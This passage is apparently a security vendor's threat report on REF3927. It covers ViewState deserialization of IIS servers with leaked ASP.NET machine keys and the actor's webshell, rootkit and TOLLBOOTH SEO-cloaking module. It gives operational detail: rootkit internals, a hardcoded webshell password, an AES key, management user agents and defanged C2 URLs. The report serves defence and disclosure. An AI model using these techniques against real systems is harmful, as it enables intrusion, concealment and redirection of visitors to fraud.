            <pubDate>Wed, 22 Oct 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[REF3927 abuses publicly disclosed ASP.NET machine keys to compromise IIS servers and deploy TOLLBOOTH SEO cloaking modules globally.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>In September 2025, <a href="https://www.cyber.tamus.edu/">Texas A&amp;M University System (TAMUS) Cybersecurity</a>, a managed detection and response provider in collaboration with Elastic Security Labs, discovered post-exploitation activity by a Chinese-speaking threat actor who installed a malicious IIS module, which we are calling TOLLBOOTH. During this time, we observed a Godzilla-forked webshell <a href="https://github.com/ekkoo-z/Z-Godzilla_ekp">framework</a>, the use of the Remote Monitoring and Management (RMM) tool GotoHTTP, along with a malicious driver used to conceal their activity. The threat actor exploited a misconfigured IIS web server that used ASP.NET machine keys found in public resources, such as Microsoft’s documentation or StackOverflow support pages.</p>
<p>A similar chain of events was first <a href="https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/">reported</a> by Microsoft in February, earlier this year. Our team believes this is the continuation of the same threat activity that AhnLab also <a href="https://asec.ahnlab.com/en/87804/">detailed</a> in April, based on similar malware and behaviors. During this event, we were able to leverage our partnership with Texas A&amp;M System Cybersecurity to collect insights around the activity. Additionally, through collaboration with <a href="https://www.validin.com/">Validin</a>, leveraging their global scanning infrastructure, we’ve determined that organizations worldwide have been impacted by this campaign. The following report will detail the events and tooling used in this activity cluster, known as REF3927. Our hope is to raise more awareness of this activity among defenders and organizations, as it is actively being abused at a global scale.</p>
<h3>Key takeaways</h3>
<ul>
<li>Threat actors are abusing misconfigured IIS servers using publicly exposed machine keys</li>
<li>Post-compromise behaviors include using a malicious driver, remote monitoring tooling, credential dumping, webshell deployment, and IIS malware</li>
<li>Threat actors adapted the open source “Hidden” rootkit project to hide their presence</li>
<li>The main objective appears to be to install an IIS backdoor, called TOLLBOOTH, that includes SEO cloaking and webshell capabilities</li>
<li>This campaign included large-scale exploitation across geographies and industry verticals</li>
</ul>
<h2>Campaign Overview</h2>
<h3>Attack vector</h3>
<p>Last month, Elastic Security Labs and Texas A&amp;M System Cybersecurity investigated an intrusion involving a misconfigured Windows IIS server. This was directly related to a server configured with ASP.NET machine keys that were previously published on the Internet. Machine keys used in ASP.NET applications refer to cryptographic keys used to encrypt and validate data. These keys are composed of two parts, <code>ValidationKey</code> and <code>DecryptionKey</code>, which are used to secure ASP.NET features such as <code>ViewState</code> and authentication cookies.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image16.png" alt="REF3927 attack pattern &amp; TOLLBOOTH SEO cloaking workflow" title="REF3927 attack pattern &amp; TOLLBOOTH SEO cloaking workflow" /></p>
<p><code>ViewState</code> is a mechanism used by <a href="ASP.NET">ASP.NET</a> web applications to preserve the state of a page and its controls across HTTP requests. Since HTTP is a stateless protocol, <code>ViewState</code> allows data to be collected when the page is submitted and rendered again. This data is stored in a hidden field (<code>__VIEWSTATE</code>) on the page that is serialized and encoded in Base64. This <code>ViewState</code> field is susceptible to <a href="https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html">deserialization attacks</a>, allowing an attacker to forge payloads using the application's machine keys. We have reason to believe this is part of an opportunistic campaign targeting Windows web servers using publicly exposed machine keys.</p>
<p>Below is an example of this type of deserialization attack, demonstrated via a POST request in a virtual environment using an open source .NET deserialization payload <a href="https://github.com/pwntester/ysoserial.net">generator</a>. The <code>__VIEWSTATE</code> field contains a URL-encoded and Base64-encoded payload that will perform a <code>whoami</code> and write a file to a directory. With a successful exploitation request, the server will respond with an <code>HTTP/1.1 500 Internal Server Error</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image14.png" alt="Packet capture showing an example of a successful deserialization attack" title="Packet capture showing an example of a successful deserialization attack" /></p>
<h3>Post-compromise activity</h3>
<p>Upon initial access through ViewState injection, REF3927 was observed deploying webshells, including a Godzilla shell framework, to facilitate persistent access. They then enumerated privileges and attempted (unsuccessfully) to create their own user accounts. When account creation attempts failed, the actor then uploaded and executed the GotoHTTP Remote Monitoring and Management (RMM) tool. The threat actor created an Administrator account and attempted to dump credentials using Mimikatz, but this was prevented by Elastic Defend.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image6.png" alt="Elastic Defend alerting showing hands-on post-compromise activity" title="Elastic Defend alerting showing hands-on post-compromise activity" /></p>
<p>With attempts to further expand the scope of the intrusion blocked, the threat actor deployed their traffic hijacking IIS Module, TOLLBOOTH, as a means to monetize their access. The actor also attempted to deploy a modified version of the open-source Hidden rootkit to obfuscate their malware. In the observed intrusion, Elastic Defend prevented both TOLLBOOTH and the rootkit from being executed.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image13.png" alt="Actor attempts to deploy Mimikatz, HIDDENDRIVER, and TOLLBOOTH" title="Actor attempts to deploy Mimikatz, HIDDENDRIVER, and TOLLBOOTH" /></p>
<h2>Godzilla EKP analysis</h2>
<p>One of the main tools used by this group is a Godzilla-forked framework called <code>Z-Godzilla_ekp</code> written by <a href="https://github.com/ekkoo-z">ekkoo-z</a>. This tool piggybacks off the previous Godzilla <a href="https://github.com/BeichenDream/Godzilla">project</a> by adding new features such as an AMSI bypass plugin and masquerading its network traffic to appear more legitimate. This toolkit allows operators to generate ASP.NET, Java, C#, and PHP payloads, connect to targets, and provides different encryption options to hide network traffic. This framework uses a plugin system driven by a GUI with many features, including:</p>
<ul>
<li>Discovery/enumeration capabilities</li>
<li>Privilege escalation techniques</li>
<li>Command execution/file execution</li>
<li>Shellcode loader, meterpreter, in-memory PE execution</li>
<li>File management, zipping utility</li>
<li>Cred stealing plugin (<code>lemon</code>) - Retrieves FileZilla, Navicat, WinSCP, and Xmanager credentials</li>
<li>Browser password scraping</li>
<li>Port scanning, HTTP proxy configuration, note-taking</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image10.png" alt="Command execution plugin from Z-Godzilla_ekp" title="Command execution plugin from Z-Godzilla_ekp" /></p>
<p>Below is a network traffic example showing the operator traffic to the webshell (<code>error.aspx</code>) using <code>Z-Godzilla_ekp</code>. The webshell will take the Base64-encoded AES-encrypted data from the HTTP POST request, then execute the .NET assembly in-memory. These requests are disguised by embedding the encrypted data in HTTP POST parameters in order to blend in as normal network traffic.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image3.png" alt="Example of POST request using Z-Godzilla_ekp" title="Example of POST request using Z-Godzilla_ekp" /></p>
<h2>Rootkit analysis</h2>
<p>The attacker hid their presence on the infected machine by deploying a kernel rootkit. This rootkit works in conjunction with a userland application named HijackDriverManager, whose interface strings are written in Chinese, to interact with the driver. For this analysis, we examined both the malicious rootkit and the code from the original “Hidden” open-source project from which it was derived. Internally, we are calling the rootkit <code>HIDDENDRIVER</code> and the userland application <code>HIDDENCLI</code>.</p>
<p>This malicious software is a modified version of the open source rootkit <a href="https://github.com/JKornev/hidden">Hidden</a>, which has been available on GitHub for years. The malware author made minor modifications before compilation. For example, the rootkit uses Direct Kernel Object Manipulation (DKOM) to hide its presence and maintain persistence on the compromised system. The compiled driver still has “hidden” within the compilation path string, indicating that they used the “Hidden” rootkit project.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image1.png" alt="Rookit’s string showing the compilation path" title="Rookit’s string showing the compilation path" /></p>
<p>Upon initial loading into the kernel, the driver prioritizes a series of critical initialization steps. It first invokes seven initialization functions:</p>
<ul>
<li><code>InitializeConfigs</code></li>
<li><code>InitializeKernelAnalyzer</code></li>
<li><code>InitializePsMonitor</code></li>
<li><code>InitializeFSMiniFilter</code></li>
<li><code>InitializeRegistryFilter</code></li>
<li><code>InitializeDevice</code></li>
<li><code>InitializeStealthMode</code></li>
</ul>
<p>To prepare its internal components before populating its driver object and associated fields, such as major functions.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image7.png" alt="Malicious rootkit initialization function" title="Malicious rootkit initialization function" /></p>
<p>The following sections will elaborate on each of these seven critical initialization functions, detailing their purpose.</p>
<h3>InitializeConfigs</h3>
<p>The rootkit's initial action is to run the <code>InitializeConfigs</code> function. This function's sole purpose is to read the rootkit's configuration from the driver's service key in the Windows registry, which is populated by the userland application. These values are extracted and put in global configuration variables that will be later used by the rootkit.</p>
<p>The following table summarizes the configuration parameters that the rootkit extracts from the registry:</p>
<table>
<thead>
<tr>
<th>Registry name</th>
<th>Description</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>Kbj_WinkbjFsDirs</code></td>
<td>A list of directory paths to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjFsFiles</code></td>
<td>A list of file paths to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjRegKeys</code></td>
<td>A list of registry keys to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjRegValues</code></td>
<td>A list of registry values to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_FangxingImages</code></td>
<td>A list of process images to whitelist</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_BaohuImages</code></td>
<td>A list of process images to protect</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjImages</code></td>
<td>A list of process images to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_Zhuangtai</code></td>
<td>A global kill switch that is set from userland</td>
<td>bool</td>
</tr>
<tr>
<td><code>Kbj_YinshenMode</code></td>
<td>This flag signals that the rootkit must conceal its artifacts.</td>
<td>bool</td>
</tr>
</tbody>
</table>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image9.png" alt="Rootkit retrieves values from its configuration stored in the registry" title="Rootkit retrieves values from its configuration stored in the registry" /></p>
<h3>InitializeKernelAnalyzer</h3>
<p>Its purpose is to dynamically scan the kernel memory to find the addresses of the <code>PspCidTable</code> and <code>ActiveProcessLinks</code> that are needed.</p>
<p>The <a href="http://uninformed.org/index.cgi?v=3&amp;a=7&amp;p=6"><code>PspCidTable</code></a> is the kernel's structure that serves as a table for process and thread IDs, while <a href="https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/manipulating-activeprocesslinks-to-unlink-processes-in-userland"><code>ActiveProcessLinks</code></a> under the <code>_EPROCESS</code> structure serves as a doubly-linked list connecting all currently running processes. It allows the system to track and traverse all active processes. By removing entries from this list, it is possible to hide processes from enumeration tools like <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer">Process Explorer</a>.</p>
<h4>LookForPspCidTable</h4>
<p>It searches for the <code>PspCidTable</code> address by disassembling the function <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-pslookupprocessbyprocessid"><code>PsLookupProcessByProcessId</code></a>with the library <a href="https://github.com/zyantific/zydis">Zydis</a> and parsing it.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image15.png" alt="Original hidden code: PspCidTable lookup" title="Original hidden code: PspCidTable lookup" /></p>
<h4>LookForActiveProcessLinks</h4>
<p>This function determines the offset of the <code>ActiveProcessLinks</code> field within the <code>_EPROCESS</code> structure. It uses hardcoded offset values specific to different Windows versions. It has a fast scanning process that relies on these hardcoded values to find the <code>ActiveProcessLinks</code> field, which will be validated by another function. In case it fails to find it with the hardcoded values, it takes a brute-force approach by starting from a hardcoded relative offset to the maximum possible offset.</p>
<h3>InitializePsMonitor</h3>
<p><code>InitializePsMonitor</code> sets up the rootkit's process monitoring and manipulation engine. This is the heart of its ability to hide processes.</p>
<p>It first initializes three <a href="https://medium.com/@ys.yogendra22/avl-tree-self-balancing-binary-search-tree-20188ff58b05">AVL tree structures</a> to hold information (rules) for excluding, protecting, and hiding processes. It uses <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-rtlinitializegenerictableavl"><code>RtlInitializeGenericTableAvl</code></a> for high-speed lookups and populates them with data from the configuration. It then sets up different kernel callbacks to monitor the system using the set of rules.</p>
<h4>Registering object manager callback with (ObRegisterCallbacks)</h4>
<p>This hook registers the <code>ProcessPreCallback</code> and <code>ThreadPreCallback</code> functions. The <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/windows-kernel-mode-object-manager">kernel's Object Manager</a> executes this code before it completes any request to create or duplicate a handle to a process or thread.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image30.png" alt="Rootkit registering process and thread precallbacks" title="Rootkit registering process and thread precallbacks" /></p>
<p>When a process tries to get a handle on another process, the callback function <code>ProcessPreCallback</code> is called. It will first check if the destination process is a protected process (in the list). If it is the case, instead of not granting access, it will simply downgrade its rights over the protected process with the access set to <code>SYNCHRONIZE | PROCESS_QUERY_LIMITED_INFORMATION</code>.</p>
<p>This will ensure that processes cannot interact with/inspect, or kill the protected process.</p>
<p>The same mechanism applies to threads.</p>
<h4>Process Creation Callback(PsSetCreateProcessNotifyRoutineEx)</h4>
<p>The rootkit registers a callback with the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutineex"><code>PsSetCreateProcessNotifyRoutineEx</code></a> API on process creation. When a new process is launched, this callback runs a function <code>CheckProcessFlags</code> that checks the process’s image against the configured list of image paths. It then creates an entry for this new process in its internal tracking table, setting its <code>excluded</code>, <code>protected</code>, and <code>hidden</code> flags accordingly.</p>
<p>Behavior based on flags:</p>
<ul>
<li><strong>Excluded</strong>
<ul>
<li>The rootkit will ignore the process and just let it run as expected.</li>
</ul>
</li>
<li><strong>Protected</strong>
<ul>
<li>The rootkit will not allow any other process to get a privileged handle on it, similar to what happens in <code>ProcessPreCallback</code>.</li>
</ul>
</li>
<li><strong>Hidden</strong>
<ul>
<li>The rootkit will hide the process by Direct Kernel Object Manipulation (DKOM). Directly manipulating a process's kernel structures at the very instant of its creation can be unstable. In the process creation callback, if a process needs to be hidden, it is unlinked from the ActiveProcessLinks list. However, it sets a <code>postponeHiding</code> flag that will be explained below.</li>
</ul>
</li>
</ul>
<h4>The Image Load callback (PsSetLoadImageNotifyRoutine)</h4>
<p>This registers the <code>LoadProcessImageNotifyCallback</code> using <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetloadimagenotifyroutine"><code>PsSetLoadImageNotifyRoutine</code></a>, which the kernel calls whenever an executable image (a <code>.exe</code> or <code>.dll</code>) is loaded into a process's memory.</p>
<p>When the image is loaded, the callback checks the <code>postponeHiding</code> flag; if set, it calls <code>UnlinkProcessFromCidTable</code> to remove it from the master process ID table (<code>PspCidTable</code>).</p>
<h3>InitializeFSMiniFilter</h3>
<p>The function defines its capabilities in the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/fltkernel/ns-fltkernel-_flt_registration"><code>FilterRegistration structure(FLT_REGISTRATION)</code></a>. This structure tells the operating system which functions to call for which types of file system operations. It registers callbacks for the following requests:</p>
<ul>
<li><a href="https://learn.microsoft.com/en-us/previous-versions/windows/drivers/ifs/irp-mj-create"><code>IRP_MJ_CREATE</code></a>: Intercepts any attempt to open or create a file or directory.</li>
<li><a href="https://learn.microsoft.com/en-us/previous-versions/windows/drivers/ifs/irp-mj-directory-control"><code>IRP_MJ_DIRECTORY_CONTROL</code></a>: Intercepts any attempt to list the contents of a directory.</li>
</ul>
<h4>FltCreatePreOperation(IRP_MJ_CREATE)</h4>
<p>This is a pre-operation callback, when a process tries to create/open a file, this function is triggered. It will check the path against its list of files to be hidden. If a match is found, it will change the operation result of the IRP request to <code>STATUS_NO_SUCH_FILE</code>, indicating to the requesting process that the file does not exist, except if the process is included in the excluded list.</p>
<h4>FltDirCtrlPostOperation(IRP_MJ_DIRECTORY_CONTROL)</h4>
<p>This is a post-operation callback; the implemented hook essentially intercepts the directory listening generated by the system and modifies it by removing any files listed as hidden.</p>
<h3>InitializeRegistryFilter</h3>
<p>After concealing its processes and files, the rootkit's next step is to erase entries from the Windows Registry. The <code>InitializeRegistryFilter</code> function accomplishes this by installing a registry filtering callback to intercept and modify registry operations.</p>
<p>It registers a callback using the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-cmregistercallbackex"><code>CmRegisterCallbackEx</code></a> API, using the same principle as with files. If the registry key or value is in the hidden registry list, the callback function will return the status <code>STATUS_NOT_FOUND</code>.</p>
<h3>InitializeDevice</h3>
<p>The <code>InitializeDevice</code> function does the driver initialization needed, and it sets up an <a href="https://learn.microsoft.com/en-us/windows/win32/devio/device-input-and-output-control-ioctl-"><code>IOCTL communication</code></a> so that the userland application can communicate with it directly</p>
<p>The following is a table describing each IOCTL command handled by the driver.</p>
<table>
<thead>
<tr>
<th>IOCTL command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>HID_IOCTL_SET_DRIVER_STATE</code></td>
<td>Soft enable/disable the rootkit functionalities by setting a global state flag that acts as a master on/off switch.</td>
</tr>
<tr>
<td><code>HID_IOCTL_GET_DRIVER_STATE</code></td>
<td>Retrieve the current state of the rootkit (enabled/disabled).</td>
</tr>
<tr>
<td><code>HID_IOCTL_ADD_HIDDEN_OBJECT</code></td>
<td>Adds a new rule to hide a specific file, directory, registry key, or value.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_HIDDEN_OBJECT</code></td>
<td>Removes a single hiding rule by its unique ID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_ALL_HIDDEN_OBJECTS</code></td>
<td>Remove all hidden objects for a specific object type(registry keys/values, files, directories).</td>
</tr>
<tr>
<td><code>HID_IOCTL_ADD_OBJECT</code></td>
<td>Adds a new rule to automatically hide, protect, or exclude a process based on its image path.</td>
</tr>
<tr>
<td><code>HID_IOCTL_GET_OBJECT_STATE</code></td>
<td>Queries the current state (hidden, protected, or excluded) of a specific running process by its PID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_SET_OBJECT_STATE</code></td>
<td>This command modifies the state (hidden, protected, or excluded) of a specific running process, identified by its PID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_OBJECT</code></td>
<td>Removes a single process rule (hide, protect, or exclude) by its unique ID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_ALL_OBJECTS</code></td>
<td>This command clears all process states and image rules of a specific type.</td>
</tr>
</tbody>
</table>
<h3>InitializeStealthMode</h3>
<p>After successfully setting up its configuration, process callbacks, and file system filters, the rootkit executes its final initialization routine: <code>InitializeStealthMode</code>. If the configuration flag <code>Kbj_YinshenMode</code> is enabled, it will hide every artifact associated with the rootkit, including registry keys, the <code>.sys</code> file, and other related components, using the same techniques described above.</p>
<h3>Code Variations</h3>
<p>While the malware is heavily based on the <code>HIDDENDRIVER</code> source code, our analysis identified several minor alterations. The following section breaks down the notable code differences we observed.</p>
<p>The original code in the <code>IsProcessExcluded</code> function consistently excludes the system process (PID 4) from the rootkit's operations. However, the malicious rootkit has an exclusion list for additional process names, as illustrated in the provided screenshot.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image20.png" alt="Difference between “Hidden” and the rootkit function IsProcessExcluded" title="Difference between “Hidden” and the rootkit function IsProcessExcluded" /></p>
<p>The original code's callback for filtering system information (including files, directories, and registries) used the <code>IsDriverEnabled</code> function to verify if the driver functionalities were enabled. However, the observed rootkit introduced an additional, automatic whitelist check for processes with the image name hijack, which corresponds to the userland application.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image28.png" alt="“Hidden” source code: FltDirCtrlPostOperation callback" title="“Hidden” source code: FltDirCtrlPostOperation callback" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image11.png" alt="“Hidden” source code: PsGetProcessImageFileName usage" title="“Hidden” source code: PsGetProcessImageFileName usage" /></p>
<h2>RMM usage</h2>
<p>The GotoHTTP tool is a legitimate Remote Monitoring and Management (RMM) application, deployed by the threat actor to maintain easier access to the compromised IIS server. Its “Browser-to-Client” architecture allows the attacker to control the server from any standard web browser over common web ports (<code>80</code>/<code>443</code>) by routing all traffic through GotoHTTP’s own platform, preventing direct network connection to the attacker’s own infrastructure.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image25.png" alt="gotohttp[.]com landing page" title="gotohttp[.]com landing page" /></p>
<p>RMMs continue to <a href="https://www.proofpoint.com/us/blog/threat-insight/remote-monitoring-and-management-rmm-tooling-increasingly-attackers-first-choice">increase in popularity</a> for use at multiple points of the cyber kill chain and by various threat actors. Most anti-malware vendors do not consider them malicious in isolation and therefore do not block them outright. RMM C2 also only flows to legitimate RMM provider websites, and therefore has the same dynamics for network-based protections and monitoring.</p>
<p>Blocking the <a href="https://github.com/magicsword-io/LOLRMM/tree/main/detections/sigma">mass of currently active RMMs</a> and allowing only the enterprise's preferred RMM would be the optimal protection mechanism. However, this paradigm is only available to enterprises with the right technical knowledge, defensive tooling, mature organizational policies, and coordination across departments.</p>
<h2>IIS module analysis</h2>
<p>The threat actor was observed deploying both 32-bit and 64-bit versions of TOLLBOOTH, a malicious IIS module. TOLLBOOTH has been previously discussed by <a href="https://asec.ahnlab.com/en/87804/">Ahnlab</a> and the security researcher, <a href="https://x.com/AzakaSekai_/status/1969294757978652947">@Azaka</a>. Some of the malware’s key capabilities include SEO cloaking, a management channel, and a publicly accessible webshell. We discovered both native and .NET managed versions being deployed in the wild.</p>
<h3>Malware Config Structure</h3>
<p>TOLLBOOTH retrieves its configuration dynamically from <code>hxxps://c[.]cseo99[.]com/config/&lt;victim_HTTP_host_value&gt;.json,</code> and the creation of each victim’s JSON config file is handled by the threat actor’s infrastructure. However, <code>hxxps://c[.]cseo99[.]com/config/127.0.0.1.json</code> responded, showing a lack of anti-analysis checks - allowing us to retrieve a copy of a config file for analysis. It can be viewed in this <a href="https://gist.github.com/jiayuchann/b785e1f3960fa26923d821b7e93e2e94">GitHub Gist</a>, and we will reference how some of the fields are used as appropriate.</p>
<p>For native modules, the config and other temporary cache files are Gzip-compressed and stored locally at a hardcoded path <code>C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\</code>. For the managed module, these are AES-encrypted with key <code>YourSecretKey123</code> and IV <code>0123456789ABCDEF</code>, Gzip-compressed, and stored at <code>C:\\Windows\\Temp\\AcpLogs\\</code>.</p>
<h3>Webshell</h3>
<p>TOLLBOOTH exposes a webshell at the <code>/mywebdll</code> path, requiring a password of <code>hack123456!</code> for file uploads and execution of commands. Form submission sends a <code>POST</code> request to the <code>/scjg</code> endpoint.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image17.png" alt="Webshell interface" title="Webshell interface" /></p>
<p>The password is hardcoded in the binary, and this webshell feature is present in both <code>v1.6.0</code> and <code>v1.6.1</code> of the native version of TOLLBOOTH.</p>
<p>The file upload functionality contains a bug that stems from its sequential, order-dependent parsing of <code>multipart/form-data</code> fields. The standard HTML form is structured such that the file input field appears before the directory input fields. The server processing the request parts attempts to handle the file data before the destination directory, creating a dependency conflict that causes standard uploads to fail. By manually reordering the <code>multipart/form-data</code> parts, a successful file upload can still be triggered.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image12.png" alt="File upload PoC" title="File upload PoC" /></p>
<h3>Management Channel</h3>
<p>TOLLBOOTH exposes a few additional endpoints for C2 operators’ management/debug purposes. They are only accessible by setting the User Agent to one of the following (though it is configurable):</p>
<pre><code class="language-text">Hijackbot
gooqlebot
Googlebot/2.;
Googlébot
Googlêbot
Googlebót;
Googlebôt;
Googlebõt;
Googlèbot;
Googlëbot;
Binqbot
bingbot/2.;
Bíngbot
Bìngbot
Bîngbot
Bïngbot
Bingbót;
Bingbôt;
Bingbõt;
</code></pre>
<p>The <code>/health</code> endpoint provides a quick way to assess the module’s health, returning the file name to access the config stored at <code>c[.]cseo99[.]com</code>, disk space information, the module's installation path, and the version of TOLLBOOTH.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image8.png" alt="Health endpoint response" title="Health endpoint response" /></p>
<p>The <code>/debug</code> endpoint provides more details, including a summary of the configuration, cache directory, HTTP request information, etc.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image31.png" alt="/debug content" title="/debug content" /></p>
<p>The parsed configuration is accessible at <code>/conf</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image24.png" alt="/conf content" title="/conf content" /></p>
<p>The <code>/clean</code> endpoint allows the operator to clear the current configuration by deleting the config files stored locally (<code>clean?type=conf</code>) in order to update them on the victim server, clear any other temporary caches the malware uses (<code>clean?type=conf</code>), or clear both - everything in the <code>C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\</code> path (<code>clean?type=all</code>).</p>
<h3>SEO Cloaking</h3>
<p>The main goal of TOLLBOOTH is <a href="https://support.google.com/adspolicy/answer/15938075?sjid=10977824559696952423-NC#Cloaking">SEO cloaking</a>, a process that involves presenting keyword-optimized content to search engine crawlers, while concealing it from casual user browsing, to achieve higher search rankings for the page. Once a human visitor clicks the link from the boosted search results, the malware redirects them to a malicious or fraudulent page. This tactic is an effective way to increase traffic to malicious pages compared to alternatives like direct phishing, because users trust search engine results they request more than unsolicited emails.</p>
<p>TOLLBOOTH differentiates between bots and visitors by checking the User Agent and the Referer headers for values defined in the config.</p>
<p>Both the native and the managed modules are implemented almost identically. The only difference is that native modules <code>v1.6.0</code> and <code>v1.6.1</code> check both the User Agent and Referer against the <code>seoGroupRefererMatchRules</code> list, and the .NET module <code>v1.6.1</code> checks the User Agent against the <code>seoGroupUaMatchRules</code> list and Referer against the <code>seoGroupRefererMatchRules</code> list.</p>
<p>Based on the current configuration, the values for <code>seoGroupUaMatchRules</code> and <code>seoGroupRefererMatchRules</code> are <code>googlebot</code> and <code>google</code>, respectively. A GoogleBot crawler would have a User Agent match and not a Referer match, whereas a human visitor would have a Referer match but not a User Agent match. Looking at the fallback list containing both <code>bing</code> and <code>yahoo</code> suggests that those search engines were targeted in the past as well.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image29.png" alt="Functions and fallback lists for User Agent and Referer checks" title="Functions and fallback lists for User Agent and Referer checks" /></p>
<p>The code snippet below is responsible for building a page filled with keyword-stuffed links that search engine crawlers will see.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image23.png" alt="Function for generating page that links to SEO content" title="Function for generating page that links to SEO content" /></p>
<p>The module constructs a link farm in two phases. First, to build internal link density, it retrieves a list of random keywords from resource URIs defined in the <code>affLinkMainWordSeoResArr</code> configuration field. For each keyword, it generates a &quot;local link&quot; pointing to another SEO page on the same compromised website. Next, it builds the external network by retrieving &quot;affiliate link resources&quot; from the <code>affLinkSeoResArr</code> field. These resources are a list of URIs pointing to SEO pages on other external domains that are also infected with TOLLBOOTH. The URIs look like <code>hxxps://f[.]fseo99[.]com/&lt;date&gt;/&lt;md5_file_hash&gt;&lt;.txt/.html&gt;</code> in the configuration. The module then creates hyperlinks from the current site to these other victims. This technique, known as <a href="https://en.wikipedia.org/wiki/Link_farm">link farming</a>, is designed to artificially inflate search engine rankings across the entire network of compromised sites.</p>
<p>Below is an example of what a crawler bot would see when visiting the landing page of a web server infected with TOLLBOOTH.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image4.png" alt="Visiting the landing page with User Agent “google”" title="Visiting the landing page with User Agent “google”" /></p>
<p>URL path prefixes to the SEO pages contain words or phrases from the <code>seoGroupUrlMatchRules</code> config field. This is also referenced in the site redirection logic targeting visitors. These are currently:</p>
<ul>
<li><code>stock</code></li>
<li><code>invest</code></li>
<li><code>summary</code></li>
<li><code>datamining</code></li>
<li><code>market-outlook</code></li>
<li><code>bullish-on</code></li>
<li><code>news-overview</code></li>
<li><code>news-volatility</code></li>
<li><code>video/</code></li>
<li><code>app/</code></li>
<li><code>blank/</code></li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image32.png" alt="Example local links" title="Example local links" /></p>
<p>Templates and content for SEO pages are also externally retrieved from URIs that look like <code>hxxps://f[.]fseo99[.]com/&lt;date&gt;/&lt;md5_file_hash&gt;&lt;.txt/.html&gt;</code> in the config. Here is an example of what one of the SEO pages looks like:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image5.png" alt="Example SEO page" title="Example SEO page" /></p>
<p>For the user redirection logic, the module first gathers a fingerprint of the visitor, including their IP address, user agent, referrer, and the SEO page’s target keyword. It then sends this information via a POST request to <code>hxxps://api[.]aseo99[.]com/client/landpage</code>. If the request is successful, the server responds with a JSON object containing a specific <code>landpageUrl</code>, which becomes the destination for the redirect.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image18.png" alt="Requesting for page to redirect to" title="Requesting for page to redirect to" /></p>
<p>If the communication fails for any reason, TOLLBOOTH falls back to constructing a new URL pointing to the same C2 endpoint but instead encodes the visitor’s information directly into the URL as GET parameters. Finally, the chosen URL - either from the successful C2 response or the fallback - is embedded into a JavaScript snippet (<code>window.location.href</code>) and sent to the victim’s browser, forcing an immediate redirection.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image26.png" alt="Fallback request for the page to redirect to" title="Fallback request for the page to redirect to" /></p>
<h3>Page Hijacker</h3>
